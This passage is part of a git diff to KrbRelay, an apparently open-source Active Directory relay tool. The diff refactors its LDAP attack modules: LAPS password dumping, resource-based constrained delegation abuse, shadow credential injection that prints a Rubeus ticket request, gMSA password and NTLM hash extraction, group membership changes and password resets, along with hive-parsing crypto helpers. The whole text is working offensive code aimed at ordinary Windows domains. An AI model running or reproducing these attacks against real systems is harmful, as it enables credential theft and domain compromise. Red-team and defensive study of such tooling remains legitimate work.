value) + { + return ModifyAttribute(ld, LdapModOperation.Delete, distinguishedName, attribute, new List { value }); + } + + private static LdapStatus ModifyAttribute(IntPtr ld, LdapModOperation operation, string distinguishedName, string attribute, List values) { var modPropPtr = Marshal.StringToHGlobalUni(attribute); - var modValue = new List { - value - }; var modValuePtr = Marshal.AllocHGlobal(IntPtr.Size * 2); - Helpers.ByteArraysToBerValueArray(modValue.Select(_ => _ ?? new byte[0]).ToArray(), modValuePtr); - List mod = new List { - new LDAPMod { - mod_op = (int)LdapModOperation.LDAP_MOD_ADD | (int)LdapModOperation.LDAP_MOD_BVALUES, + Helpers.ByteArraysToBerValueArray( + values.Select(_ => _ ?? new byte[0]).ToArray(), + modValuePtr + ); + + List mod = new List + { + new LDAPMod + { + mod_op = + (int)operation | (int)LdapModOperation.BValues, mod_type = modPropPtr, - mod_vals_u = new LDAPMod.mod_vals - { - modv_bvals = modValuePtr - }, + mod_vals_u = new LDAPMod.mod_vals { modv_bvals = modValuePtr }, mod_next = IntPtr.Zero } }; @@ -100,119 +158,119 @@ public static LdapStatus addAttribute(IntPtr ld, string attribute, byte[] value, Helpers.StructureArrayToPtr(mod, ptr, true); //int rest = ldap_modify_ext(ld, dn, ptr, IntPtr.Zero, IntPtr.Zero, out int pMessage); - int rest = ldap_modify_s(ld, dn, ptr); + int rest = Interop.ldap_modify(ld, distinguishedName, ptr); Console.WriteLine("[*] ldap_modify: {0}", (LdapStatus)rest); - mod.ForEach(_ => - { - Helpers.BerValuesFree(_.mod_vals_u.modv_bvals); - Marshal.FreeHGlobal(_.mod_vals_u.modv_bvals); - Marshal.FreeHGlobal(_.mod_type); - }); + mod.ForEach( + _ => + { + Helpers.BerValuesFree(_.mod_vals_u.modv_bvals); + Marshal.FreeHGlobal(_.mod_vals_u.modv_bvals); + Marshal.FreeHGlobal(_.mod_type); + } + ); Marshal.FreeHGlobal(ptr); return (LdapStatus)rest; } - public static string getMachineDN(IntPtr ld, string computername = null) + public static Dictionary> GetAttributes(IntPtr ld,IntPtr entry,ref IntPtr ber) { - if (string.IsNullOrEmpty(computername)) - { - computername = Environment.MachineName; - } - if (!computername.EndsWith("$")) + Dictionary> list = new Dictionary>(); + for ( + var attr = Interop.ldap_first_attribute(ld, entry, ref ber); + attr != IntPtr.Zero; + attr = Interop.ldap_next_attribute(ld, entry, ber) + ) { - computername += "$"; + var vals = Interop.ldap_get_values_len(ld, entry, attr); + if (vals != IntPtr.Zero) + { + var attrName = Marshal.PtrToStringUni(attr); + if (attrName != null) + { + list.Add(attrName, Helpers.BerValArrayToByteArrays(vals)); + } + Interop.ldap_value_free_len(vals); + } } + return list; + } + + public static List GetObjects(IntPtr ld, string distinguishedName, string filter, string attribute = null) + { var timeout = new LDAP_TIMEVAL { tv_sec = (int)(new TimeSpan(0, 0, 30).Ticks / TimeSpan.TicksPerSecond) }; - IntPtr pLaps = Helpers.AllocHGlobalIntPtrArray(1 + 1); - var controlPtr = Marshal.StringToHGlobalUni("DistinguishedName"); - Marshal.WriteIntPtr(pLaps, IntPtr.Size * 0, controlPtr); - var search = Natives.ldap_search( + + var pLaps = Helpers.AllocHGlobalIntPtrArray(1 + 1); + var controlPtr = IntPtr.Zero; + if (attribute != null) + { + controlPtr = Marshal.StringToHGlobalUni(attribute); + Marshal.WriteIntPtr(pLaps, IntPtr.Size * 0, controlPtr); + } + + var search = Interop.ldap_search( ld, - $"{Program.domainDN}", - (int)LdapSearchScope.LDAP_SCOPE_SUBTREE, - String.Format("(&(objectClass=computer)(sAMAccountName={0}))", computername), + distinguishedName, + (int)LdapSearchScope.SubTree, + filter, pLaps, - 0); - //Console.WriteLine("[*] msgID: {0}", search); + 0 + ); IntPtr pMessage = IntPtr.Zero; - var r = Natives.ldap_result( - ld, - search, - 0, - timeout, - ref pMessage); - var entry = ldap_first_entry(ld, pMessage); - IntPtr ber = IntPtr.Zero; - var attr = ldap_first_attribute(ld, entry, ref ber); - var vals = ldap_get_values_len(ld, entry, attr); - var attrName = Marshal.PtrToStringUni(attr); - //Console.WriteLine("ldap_first_attribute: {0}", attr); - //Console.WriteLine("ldap_get_values_len: {0}", vals); - //Console.WriteLine("attrName: {0}", attrName); + Interop.ldap_result(ld, search, 1, timeout, ref pMessage); - var result = new List(); - foreach (var tempPtr in Helpers.GetPointerArray(vals)) + List result = new List(); + for ( + var entry = Interop.ldap_first_entry(ld, pMessage); + entry != IntPtr.Zero; + entry = Interop.ldap_next_entry(ld, entry) + ) { - Natives.berval bervalue = (Natives.berval)Marshal.PtrToStructure(tempPtr, typeof(Natives.berval)); - if (bervalue.bv_len > 0 && bervalue.bv_val != IntPtr.Zero) - { - var byteArray = new byte[bervalue.bv_len]; - Marshal.Copy(bervalue.bv_val, byteArray, 0, bervalue.bv_len); - result.Add(byteArray); - } + result.Add(entry); } - byte[] t = result.SelectMany(a => a).ToArray(); - //Console.WriteLine("[+] {0}: {1}", attribute, Encoding.ASCII.GetString(t)); + + if (controlPtr != IntPtr.Zero) + Marshal.FreeHGlobal(controlPtr); - Marshal.FreeHGlobal(controlPtr); - return Encoding.ASCII.GetString(t); - //return ""; + return result; } - public static string getPropertyValue(IntPtr ld, string adObject, string property) + public static List GetAttributeRaw(IntPtr ld, string distinguishedName, string filter, string attribute) { - var timeout = new Natives.LDAP_TIMEVAL + var timeout = new LDAP_TIMEVAL { tv_sec = (int)(new TimeSpan(0, 0, 30).Ticks / TimeSpan.TicksPerSecond) }; IntPtr pLaps = Helpers.AllocHGlobalIntPtrArray(1 + 1); - var controlPtr = Marshal.StringToHGlobalUni(property); + var controlPtr = Marshal.StringToHGlobalUni(attribute); Marshal.WriteIntPtr(pLaps, IntPtr.Size * 0, controlPtr); - var search = ldap_search( + + var search = Interop.ldap_search( ld, - $"{Program.domainDN}", - (int)LdapSearchScope.LDAP_SCOPE_SUBTREE, - String.Format("(&(objectClass=*)(sAMAccountName={0}))", adObject), + distinguishedName, + (int)LdapSearchScope.SubTree, + filter, pLaps, - 0); - //Console.WriteLine("[*] msgID: {0}", search); + 0 + ); IntPtr pMessage = IntPtr.Zero; - var r = ldap_result( - ld, - search, - 0, - timeout, - ref pMessage); - var entry = ldap_first_entry(ld, pMessage); + var r = Interop.ldap_result(ld, search, 0, timeout, ref pMessage); + var entry = Interop.ldap_first_entry(ld, pMessage); + IntPtr ber = IntPtr.Zero; - var attr = ldap_first_attribute(ld, entry, ref ber); - var vals = ldap_get_values_len(ld, entry, attr); - var attrName = Marshal.PtrToStringUni(attr); - //Console.WriteLine("ldap_first_attribute: {0}", attr); - //Console.WriteLine("ldap_get_values_len: {0}", vals); - //Console.WriteLine("attrName: {0}", attrName); + var attr = Interop.ldap_first_attribute(ld, entry, ref ber); + var vals = Interop.ldap_get_values_len(ld, entry, attr); var result = new List(); foreach (var tempPtr in Helpers.GetPointerArray(vals)) { - Natives.berval bervalue = (Natives.berval)Marshal.PtrToStructure(tempPtr, typeof(Natives.berval)); + berval bervalue = Marshal.PtrToStructure(tempPtr); if (bervalue.bv_len > 0 && bervalue.bv_val != IntPtr.Zero) { var byteArray = new byte[bervalue.bv_len]; @@ -220,11 +278,33 @@ public static string getPropertyValue(IntPtr ld, string adObject, string propert result.Add(byteArray); } } - byte[] t = result.SelectMany(a => a).ToArray(); - //Console.WriteLine("[+] {0}: {1}", attribute, Encoding.ASCII.GetString(t)); Marshal.FreeHGlobal(controlPtr); - return Encoding.ASCII.GetString(t); + return result; + } + + public static List GetAttribute(IntPtr ld, string distinguishedName, string attribute) + { + return GetAttributeRaw(ld, distinguishedName, "(objectClass=*)", attribute); + } + + public static List GetAttributeWithAccountName(IntPtr ld, string samAccountName, string attribute) + { + return GetAttributeRaw(ld, State.domainDN, String.Format("(&(sAMAccountName={0}))", samAccountName), attribute); + } + + public static string GetAttributeAsString(IntPtr ld, string distinguishedName, string attribute) + { + List result = GetAttribute(ld, distinguishedName, attribute); + byte[] flat = result.SelectMany(a => a).ToArray(); + return DecodeASCIIOrUnicode(flat); + } + + public static string GetAttributeWithAccountNameAsString(IntPtr ld, string samAccountName, string attribute) + { + List result = GetAttributeWithAccountName(ld, samAccountName, attribute); + byte[] flat = result.SelectMany(a => a).ToArray(); + return DecodeASCIIOrUnicode(flat); } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Ldap/LAPS.cs b/KrbRelay/Clients/Attacks/Ldap/LAPS.cs index 77e010a..60f7deb 100644 --- a/KrbRelay/Clients/Attacks/Ldap/LAPS.cs +++ b/KrbRelay/Clients/Attacks/Ldap/LAPS.cs @@ -3,7 +3,6 @@ using System.Linq; using System.Runtime.InteropServices; using System.Text; -using static KrbRelay.Natives; namespace KrbRelay.Clients.Attacks.Ldap { @@ -11,7 +10,7 @@ internal class LAPS { public static void read(IntPtr ld, string computer = "") { - var timeout = new Natives.LDAP_TIMEVAL + var timeout = new LDAP_TIMEVAL { tv_sec = (int)(new TimeSpan(0, 0, 30).Ticks / TimeSpan.TicksPerSecond) }; @@ -22,45 +21,51 @@ public static void read(IntPtr ld, string computer = "") int search = 0; if (string.IsNullOrEmpty(computer)) { - search = Natives.ldap_search( + search = Interop.ldap_search( ld, - $"{Program.domainDN}", - (int)LdapSearchScope.LDAP_SCOPE_SUBTREE, + State.domainDN, + (int)LdapSearchScope.SubTree, "(&(objectClass=computer)(ms-MCS-AdmPwd=*))", pLaps, - 0); + 0 + ); } else { - search = Natives.ldap_search( + search = Interop.ldap_search( ld, - $"{Program.domainDN}", - (int)LdapSearchScope.LDAP_SCOPE_SUBTREE, - String.Format("(&(objectClass=computer)(sAMAccountName={0}))", computer.ToUpper()), + State.domainDN, + (int)LdapSearchScope.SubTree, + String.Format( + "(&(objectClass=computer)(sAMAccountName={0}))", + computer.ToUpper() + ), pLaps, - 0); + 0 + ); } //Console.WriteLine("[*] msgID: {0}", search); IntPtr pMessage = IntPtr.Zero; - var r = Natives.ldap_result( - ld, - search, - 1, - timeout, - ref pMessage); + var r = Interop.ldap_result(ld, search, 1, timeout, ref pMessage); Console.WriteLine("[*] ldap_result: {0}", (LdapResultType)r); - Dictionary>> result = new Dictionary>>(); + Dictionary>> result = + new Dictionary>>(); var ber = Marshal.AllocHGlobal(IntPtr.Size); - for (var entry = Natives.ldap_first_entry(ld, pMessage); entry != IntPtr.Zero; - entry = Natives.ldap_next_entry(ld, entry)) + for ( + var entry = Interop.ldap_first_entry(ld, pMessage); + entry != IntPtr.Zero; + entry = Interop.ldap_next_entry(ld, entry) + ) { - string dn = Generic.GetLdapDn(ld, entry);//.Split(',').First().Replace("CN=",""); - Dictionary> aa = Generic.GetLdapAttributes(ld, entry, ref ber); - string password = Encoding.ASCII.GetString(aa.Values.SelectMany(a => a).ToArray().SelectMany(a => a).ToArray()); + string dn = Generic.GetDistinguishedName(ld, entry); //.Split(',').First().Replace("CN=",""); + Dictionary> aa = Generic.GetAttributes(ld, entry, ref ber); + string password = Encoding.ASCII.GetString( + aa.Values.SelectMany(a => a).ToArray().SelectMany(a => a).ToArray() + ); Console.WriteLine("dn: {0, -60} {1}", dn, password); } return; } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Ldap/RBCD.cs b/KrbRelay/Clients/Attacks/Ldap/RBCD.cs index e8fb98a..d56815f 100644 --- a/KrbRelay/Clients/Attacks/Ldap/RBCD.cs +++ b/KrbRelay/Clients/Attacks/Ldap/RBCD.cs @@ -1,23 +1,45 @@ using System; using System.Security.AccessControl; -using static KrbRelay.Natives; +using System.Security.Principal; namespace KrbRelay.Clients.Attacks.Ldap { internal class RBCD { - public static LdapStatus attack(IntPtr ld, string sid, string computername = null) + public static LdapStatus attack(IntPtr ld, string nameOrSid, string computername = null) { - if (!sid.StartsWith("S-1-5-")) - { - sid = Generic.getPropertyValue(ld, sid, "objectSid"); + if (!nameOrSid.StartsWith("S-1-5-")) { + if (!nameOrSid.StartsWith("S-")) + { + // Is this safe to assume? + if (!nameOrSid.EndsWith("$")) + { + nameOrSid += "$"; + } + + var sidBytes = Generic.GetAttributeWithAccountName(ld, nameOrSid, "objectSid")[0]; + nameOrSid = new SecurityIdentifier(sidBytes, 0).ToString(); + } } - string dn = Generic.getMachineDN(ld, computername); - var dacl = "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + sid + ")"; + + string dn = Generic.GetDistinguishedNameFromAccountName(ld, computername, true); + var dacl = "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + nameOrSid + ")"; RawSecurityDescriptor sd = new RawSecurityDescriptor(dacl); byte[] value = new byte[sd.BinaryLength]; sd.GetBinaryForm(value, 0); - return Generic.setAttribute(ld, "msDS-AllowedToActOnBehalfOfOtherIdentity", value, dn); + var result = Generic.SetAttribute(ld, dn, "msDS-AllowedToActOnBehalfOfOtherIdentity", value); + + if (result == LdapStatus.Success) + { + Console.WriteLine("[+] Successfully configured RBCD"); + Console.WriteLine(" |- DN: {0}", dn); + Console.WriteLine(" |- SID: {0}", nameOrSid); + } else + { + Console.WriteLine("[!] Failed to configure RBCD: {0}", result); + } + + return result; } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Ldap/ShadowCredential.cs b/KrbRelay/Clients/Attacks/Ldap/ShadowCredential.cs index 8597ac8..26596d2 100644 --- a/KrbRelay/Clients/Attacks/Ldap/ShadowCredential.cs +++ b/KrbRelay/Clients/Attacks/Ldap/ShadowCredential.cs @@ -9,49 +9,119 @@ using Org.BouncyCastle.Utilities; using Org.BouncyCastle.X509; using System; +using System.Collections.Generic; using System.IO; +using System.Linq; using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates; using System.Text; -using static KrbRelay.Natives; namespace KrbRelay.Clients.Attacks.Ldap { internal class ShadowCredential { - // writing to msDS-KeyCredentialLink can only be done once. + static readonly byte[] GuidTrackPrefix = new byte[] { 0xd0, 0x9f, 0x1b, 0x27 }; + public static LdapStatus attack(IntPtr ld, string target = "") { - //string dn = Generic.getMachineDN(ld, ""); - string dn = Generic.getPropertyValue(ld, target, "distinguishedName"); + string dn = Generic.GetDistinguishedNameFromAccountName(ld, target); string password = Guid.NewGuid().ToString(); - //Console.WriteLine(dn); - + + // First query and remove existing entries we might have added + + List entries = Generic.GetAttribute(ld, dn, "msDS-KeyCredentialLink"); + + if (entries.Count > 0) + { + Console.WriteLine("[*] Existing linked credentials:"); + foreach(var entry in entries) + { + var credential = KeyCredential.ParseDNBinary(Encoding.ASCII.GetString(entry)); + byte[] guidPrefix = credential.DeviceId?.ToByteArray().Take(GuidTrackPrefix.Length).ToArray(); + if (guidPrefix.SequenceEqual(GuidTrackPrefix)) + { + var removeResult = Generic.RemoveAttribute(ld, dn, "msDS-KeyCredentialLink", entry); + Console.WriteLine(" |- {0} [Delete -> {1}]", credential.DeviceId, removeResult); + } else + { + Console.WriteLine(" |- {0}", credential.DeviceId); + } + } + } + X509Certificate2 cert; KeyCredential keyCredential; //cert = GenerateSelfSignedCert(dn); // > net45 - RSA rsa = new RSACryptoServiceProvider(2048, new CspParameters(24, "Microsoft Enhanced RSA and AES Cryptographic Provider", Guid.NewGuid().ToString())); - CertificateRequest req = new CertificateRequest(String.Format("cn={0}", target), rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1); + RSA rsa = new RSACryptoServiceProvider( + 2048, + new CspParameters( + 24, + "Microsoft Enhanced RSA and AES Cryptographic Provider", + Guid.NewGuid().ToString() + ) + ); + CertificateRequest req = new CertificateRequest( + String.Format("cn={0}", target), + rsa, + HashAlgorithmName.SHA256, + RSASignaturePadding.Pkcs1 + ); cert = req.CreateSelfSigned(DateTimeOffset.Now, DateTimeOffset.Now.AddYears(1)); - + // Apply a prefix so we can track for removal later Guid guid = Guid.NewGuid(); + byte[] guidBytes = guid.ToByteArray(); + for(int i = 0; i < GuidTrackPrefix.Length; i++) + { + guidBytes[i] = GuidTrackPrefix[i]; + } + guid = new Guid(guidBytes); + keyCredential = new KeyCredential(cert, guid, dn, DateTime.Now); - LdapStatus ret = Generic.setAttribute(ld, "msDS-KeyCredentialLink", Encoding.ASCII.GetBytes(keyCredential.ToDNWithBinary()), dn); - if (ret != LdapStatus.LDAP_SUCCESS) - return ret; - + + LdapStatus result; + if (entries.Count > 0) + { + result = Generic.AddAttribute( + ld, + dn, + "msDS-KeyCredentialLink", + Encoding.ASCII.GetBytes(keyCredential.ToDNWithBinary()) + ); + } else + { + result = Generic.SetAttribute( + ld, + dn, + "msDS-KeyCredentialLink", + Encoding.ASCII.GetBytes(keyCredential.ToDNWithBinary()) + ); + } + + + if (result != LdapStatus.Success) + return result; + byte[] certBytes = cert.Export(X509ContentType.Pfx, password); var certOutput = Convert.ToBase64String(certBytes); - Console.WriteLine("Rubeus.exe asktgt /user:{0} /certificate:{1} /password:\"{2}\" /getcredentials /show", target, certOutput, password); - - return ret; + Console.WriteLine("[+] Added credentials, here is your Rubeus command:\n"); + Console.WriteLine( + "Rubeus.exe asktgt /user:{0} /certificate:{1} /password:\"{2}\" /getcredentials /show\n", + target, + certOutput, + password + ); + + return result; } //https://stackoverflow.com/a/51687630 - public static X509Certificate2 GenerateSelfSignedCert(string subjectName, int keyStrength = 2048) + public static X509Certificate2 GenerateSelfSignedCert( + string subjectName, + int keyStrength = 2048 + ) { // Generating Random Numbers var randomGenerator = new CryptoApiRandomGenerator(); @@ -61,7 +131,11 @@ public static X509Certificate2 GenerateSelfSignedCert(string subjectName, int ke var certificateGenerator = new X509V3CertificateGenerator(); // Serial Number - var serialNumber = BigIntegers.CreateRandomInRange(BigInteger.One, BigInteger.ValueOf(Int64.MaxValue), random); + var serialNumber = BigIntegers.CreateRandomInRange( + BigInteger.One, + BigInteger.ValueOf(Int64.MaxValue), + random + ); certificateGenerator.SetSerialNumber(serialNumber); // Signature Algorithm @@ -100,17 +174,24 @@ public static X509Certificate2 GenerateSelfSignedCert(string subjectName, int ke var pkcs12Store = new Pkcs12Store(); var certEntry = new X509CertificateEntry(certificate); pkcs12Store.SetCertificateEntry(subjectName, certEntry); - pkcs12Store.SetKeyEntry(subjectName, new AsymmetricKeyEntry(subjectKeyPair.Private), new[] { certEntry }); + pkcs12Store.SetKeyEntry( + subjectName, + new AsymmetricKeyEntry(subjectKeyPair.Private), + new[] { certEntry } + ); X509Certificate2 keyedCert; using (MemoryStream pfxStream = new MemoryStream()) { pkcs12Store.Save(pfxStream, new char[0], new SecureRandom()); pfxStream.Seek(0, SeekOrigin.Begin); - keyedCert = new X509Certificate2(pfxStream.ToArray(), string.Empty, X509KeyStorageFlags.Exportable); + keyedCert = new X509Certificate2( + pfxStream.ToArray(), + string.Empty, + X509KeyStorageFlags.Exportable + ); } return keyedCert; } - } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Ldap/addGroupMember.cs b/KrbRelay/Clients/Attacks/Ldap/addGroupMember.cs index a8ee883..55eff73 100644 --- a/KrbRelay/Clients/Attacks/Ldap/addGroupMember.cs +++ b/KrbRelay/Clients/Attacks/Ldap/addGroupMember.cs @@ -1,16 +1,15 @@ using System; using System.Text; -using static KrbRelay.Natives; namespace KrbRelay.Clients.Attacks.Ldap { - internal class addGroupMember + internal class AddGroupMember { public static LdapStatus attack(IntPtr ld, string group, string user) { - string groupDn = Generic.getPropertyValue(ld, group, "distinguishedName"); - string userDn = Generic.getPropertyValue(ld, user, "distinguishedName"); - return Generic.addAttribute(ld, "member", Encoding.ASCII.GetBytes(userDn), groupDn); + string groupDn = Generic.GetAttributeWithAccountNameAsString(ld, group, "distinguishedName"); + string userDn = Generic.GetAttributeWithAccountNameAsString(ld, user, "distinguishedName"); + return Generic.AddAttribute(ld, groupDn, "member", Encoding.ASCII.GetBytes(userDn)); } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Ldap/gMSA.cs b/KrbRelay/Clients/Attacks/Ldap/gMSA.cs index 4ad3a86..c3f9c78 100644 --- a/KrbRelay/Clients/Attacks/Ldap/gMSA.cs +++ b/KrbRelay/Clients/Attacks/Ldap/gMSA.cs @@ -3,7 +3,7 @@ using System.IO; using System.Linq; using System.Runtime.InteropServices; -using static KrbRelay.Natives; +using System.Text; namespace KrbRelay.Clients.Attacks.Ldap { @@ -11,57 +11,62 @@ internal class gMSA { public static void read(IntPtr ld, string gMsaUser = "") { - var timeout = new LDAP_TIMEVAL - { - tv_sec = (int)(new TimeSpan(0, 0, 30).Ticks / TimeSpan.TicksPerSecond) - }; - IntPtr pLaps = Helpers.AllocHGlobalIntPtrArray(1 + 1); - var controlPtr = Marshal.StringToHGlobalUni("msDS-ManagedPassword"); - Marshal.WriteIntPtr(pLaps, IntPtr.Size * 0, controlPtr); - - int search = 0; + List entries; if (string.IsNullOrEmpty(gMsaUser)) { - search = ldap_search( - ld, - $"{Program.domainDN}", - (int)LdapSearchScope.LDAP_SCOPE_SUBTREE, - "(&(objectClass=msDS-GroupManagedServiceAccount))", - pLaps, - 0); + entries = Generic.GetObjects(ld, State.domainDN, "(&(objectClass=msDS-GroupManagedServiceAccount))", "msDS-ManagedPassword"); } else { - search = ldap_search( - ld, - $"{Program.domainDN}", - (int)LdapSearchScope.LDAP_SCOPE_SUBTREE, - String.Format("(&(objectClass=msDS-GroupManagedServiceAccount)(sAMAccountName={0}))", gMsaUser.ToUpper()), - pLaps, - 0); + entries = Generic.GetObjects(ld, State.domainDN, "(&(objectClass=msDS-GroupManagedServiceAccount)(sAMAccountName={0}))", "msDS-ManagedPassword"); } - //Console.WriteLine("[*] msgID: {0}", search); - - IntPtr pMessage = IntPtr.Zero; - var r = Natives.ldap_result( - ld, - search, - 1, - timeout, - ref pMessage); - Console.WriteLine("[*] ldap_result: {0}", (LdapResultType)r); - Dictionary>> result = new Dictionary>>(); - var ber = Marshal.AllocHGlobal(IntPtr.Size); - for (var entry = ldap_first_entry(ld, pMessage); entry != IntPtr.Zero; entry = Natives.ldap_next_entry(ld, entry)) + + if (entries.Count == 0) { - string dn = Generic.GetLdapDn(ld, entry); - Dictionary> aa = Generic.GetLdapAttributes(ld, entry, ref ber); - var managedPassword = new MsDsManagedPassword(aa.Values.SelectMany(a => a).ToArray().SelectMany(a => a).ToArray()); + Console.WriteLine("[-] No gMSA entries"); + return; + } + + foreach(var entry in entries) + { + string dn = Generic.GetDistinguishedName(ld, entry); + + IntPtr ber = IntPtr.Zero; + Dictionary> aa = Generic.GetAttributes(ld, entry, ref ber); + var managedPassword = new MsDsManagedPassword( + aa.Values.SelectMany(a => a).ToArray().SelectMany(a => a).ToArray() + ); + + Console.WriteLine("[+] Got gMSA:\n"); Console.WriteLine("Username: {0}", dn); - Console.WriteLine("NT hash: {0}", Helpers.KerberosPasswordHash(Interop.KERB_ETYPE.rc4_hmac, managedPassword.CurrentPassword)); - Console.WriteLine("PasswordGoodUntil: {0}", managedPassword.PasswordGoodUntil.ToString()); + Console.WriteLine( + "PasswordGoodUntil: {0}", + managedPassword.PasswordGoodUntil.ToString() + ); + Console.WriteLine( + "NTLM: {0}", + Helpers.KerberosPasswordHash( + KERB_ETYPE.rc4_hmac, + managedPassword.CurrentPassword + ) + ); + Console.WriteLine( + "Raw: {0}", + Helpers.ByteArrayToHex(Encoding.Unicode.GetBytes(managedPassword.CurrentPassword)) + ); + if (managedPassword.OldPassword != null) - Console.WriteLine("Old NT hash: {0}", Helpers.KerberosPasswordHash(Interop.KERB_ETYPE.rc4_hmac, managedPassword.OldPassword)); + Console.WriteLine( + "Old NTLM: {0}", + Helpers.KerberosPasswordHash( + KERB_ETYPE.rc4_hmac, + managedPassword.OldPassword + ) + ); + Console.WriteLine( + "Old Raw: {0}", + Helpers.ByteArrayToHex(Encoding.Unicode.GetBytes(managedPassword.OldPassword)) + ); Console.WriteLine(); } return; @@ -103,12 +108,19 @@ internal MsDsManagedPassword(byte[] blob) } var queryPasswordIntervalOffset = reader.ReadInt16(); - var queryPasswordIntervalTicks = BitConverter.ToInt64(blob, queryPasswordIntervalOffset); + var queryPasswordIntervalTicks = BitConverter.ToInt64( + blob, + queryPasswordIntervalOffset + ); NextQueryTime = DateTime.Now + TimeSpan.FromTicks(queryPasswordIntervalTicks); var unchangedPasswordIntervalOffset = reader.ReadInt16(); - var unchangedPasswordIntervalTicks = BitConverter.ToInt64(blob, unchangedPasswordIntervalOffset); - PasswordGoodUntil = DateTime.Now + TimeSpan.FromTicks(unchangedPasswordIntervalTicks); + var unchangedPasswordIntervalTicks = BitConverter.ToInt64( + blob, + unchangedPasswordIntervalOffset + ); + PasswordGoodUntil = + DateTime.Now + TimeSpan.FromTicks(unchangedPasswordIntervalTicks); } } } @@ -131,4 +143,4 @@ private string GetUnicodeString(byte[] blob, int index) return null; } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Ldap/setPassword.cs b/KrbRelay/Clients/Attacks/Ldap/setPassword.cs index 9bf8c38..58b2e0c 100644 --- a/KrbRelay/Clients/Attacks/Ldap/setPassword.cs +++ b/KrbRelay/Clients/Attacks/Ldap/setPassword.cs @@ -1,16 +1,19 @@ using System; using System.Text; -using static KrbRelay.Natives; namespace KrbRelay.Clients.Attacks.Ldap { - internal class setPassword + internal class SetPassword { public static LdapStatus attack(IntPtr ld, string user, string password) { //https://docs.microsoft.com/en-us/troubleshoot/windows/win32/change-windows-active-directory-user-password - string dn = Generic.getPropertyValue(ld, user, "distinguishedName"); - return Generic.setAttribute(ld, "unicodePwd", Encoding.Unicode.GetBytes('"'+password+'"'), dn); + return Generic.SetAttribute( + ld, + Generic.GetDistinguishedNameFromAccountName(ld, user), + "unicodePwd", + Encoding.Unicode.GetBytes('"' + password + '"') + ); } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Smb/HiveParser/Crypto.cs b/KrbRelay/Clients/Attacks/Smb/HiveParser/Crypto.cs index a5cf80a..5c3b8c7 100644 --- a/KrbRelay/Clients/Attacks/Smb/HiveParser/Crypto.cs +++ b/KrbRelay/Clients/Attacks/Smb/HiveParser/Crypto.cs @@ -15,20 +15,32 @@ public static byte[] Md4Hash2(this byte[] input) List bytes = input.ToList(); uint bitCount = (uint)(bytes.Count) * 8; bytes.Add(128); - while (bytes.Count % 64 != 56) bytes.Add(0); + while (bytes.Count % 64 != 56) + bytes.Add(0); var uints = new List(); for (int i = 0; i + 3 < bytes.Count; i += 4) - uints.Add(bytes[i] | (uint)bytes[i + 1] << 8 | (uint)bytes[i + 2] << 16 | (uint)bytes[i + 3] << 24); + uints.Add( + bytes[i] + | (uint)bytes[i + 1] << 8 + | (uint)bytes[i + 2] << 16 + | (uint)bytes[i + 3] << 24 + ); uints.Add(bitCount); uints.Add(0); // run rounds - uint a = 0x67452301, b = 0xefcdab89, c = 0x98badcfe, d = 0x10325476; + uint a = 0x67452301, + b = 0xefcdab89, + c = 0x98badcfe, + d = 0x10325476; Func rol = (x, y) => x << (int)y | x >> 32 - (int)y; for (int q = 0; q + 15 < uints.Count; q += 16) { var chunk = uints.GetRange(q, 16); - uint aa = a, bb = b, cc = c, dd = d; + uint aa = a, + bb = b, + cc = c, + dd = d; Action, uint[]> round = (f, y) => { foreach (uint i in new[] { y[0], y[1], y[2], y[3] }) @@ -39,10 +51,22 @@ public static byte[] Md4Hash2(this byte[] input) b = rol(b + f(c, d, a) + chunk[(int)(i + y[7])] + y[12], y[11]); } }; - round((x, y, z) => (x & y) | (~x & z), new uint[] { 0, 4, 8, 12, 0, 1, 2, 3, 3, 7, 11, 19, 0 }); - round((x, y, z) => (x & y) | (x & z) | (y & z), new uint[] { 0, 1, 2, 3, 0, 4, 8, 12, 3, 5, 9, 13, 0x5a827999 }); - round((x, y, z) => x ^ y ^ z, new uint[] { 0, 2, 1, 3, 0, 8, 4, 12, 3, 9, 11, 15, 0x6ed9eba1 }); - a += aa; b += bb; c += cc; d += dd; + round( + (x, y, z) => (x & y) | (~x & z), + new uint[] { 0, 4, 8, 12, 0, 1, 2, 3, 3, 7, 11, 19, 0 } + ); + round( + (x, y, z) => (x & y) | (x & z) | (y & z), + new uint[] { 0, 1, 2, 3, 0, 4, 8, 12, 3, 5, 9, 13, 0x5a827999 } + ); + round( + (x, y, z) => x ^ y ^ z, + new uint[] { 0, 2, 1, 3, 0, 8, 4, 12, 3, 9, 11, 15, 0x6ed9eba1 } + ); + a += aa; + b += bb; + c += cc; + d += dd; } // return hex encoded string byte[] outBytes = new[] { a, b, c, d }.SelectMany(BitConverter.GetBytes).ToArray(); @@ -84,7 +108,13 @@ public static byte[] DecryptAES_CBC(byte[] value, byte[] key, byte[] iv) } byte[] concat = new byte[value.Length + manualPadding.Count]; System.Buffer.BlockCopy(value, 0, concat, 0, value.Length); - System.Buffer.BlockCopy(manualPadding.ToArray(), 0, concat, value.Length, manualPadding.Count); + System.Buffer.BlockCopy( + manualPadding.ToArray(), + 0, + concat, + value.Length, + manualPadding.Count + ); value = concat; } @@ -114,8 +144,13 @@ public static byte[] ComputeSha256(byte[] key, byte[] value) //https://stackoverflow.com/questions/7217627/is-there-anything-wrong-with-this-rc4-encryption-code-in-c-sharp public static byte[] RC4Encrypt(byte[] pwd, byte[] data) { - int a, i, j, k, tmp; - int[] key, box; + int a, + i, + j, + k, + tmp; + int[] key, + box; byte[] cipher; key = new int[256]; @@ -189,12 +224,24 @@ private static List TransformKey(List inputData) { List data = new List(); data.Add(Convert.ToByte(((inputData[0] >> 1) & 0x7f) << 1)); - data.Add(Convert.ToByte(((inputData[0] & 0x01) << 6 | ((inputData[1] >> 2) & 0x3f)) << 1)); - data.Add(Convert.ToByte(((inputData[1] & 0x03) << 5 | ((inputData[2] >> 3) & 0x1f)) << 1)); - data.Add(Convert.ToByte(((inputData[2] & 0x07) << 4 | ((inputData[3] >> 4) & 0x0f)) 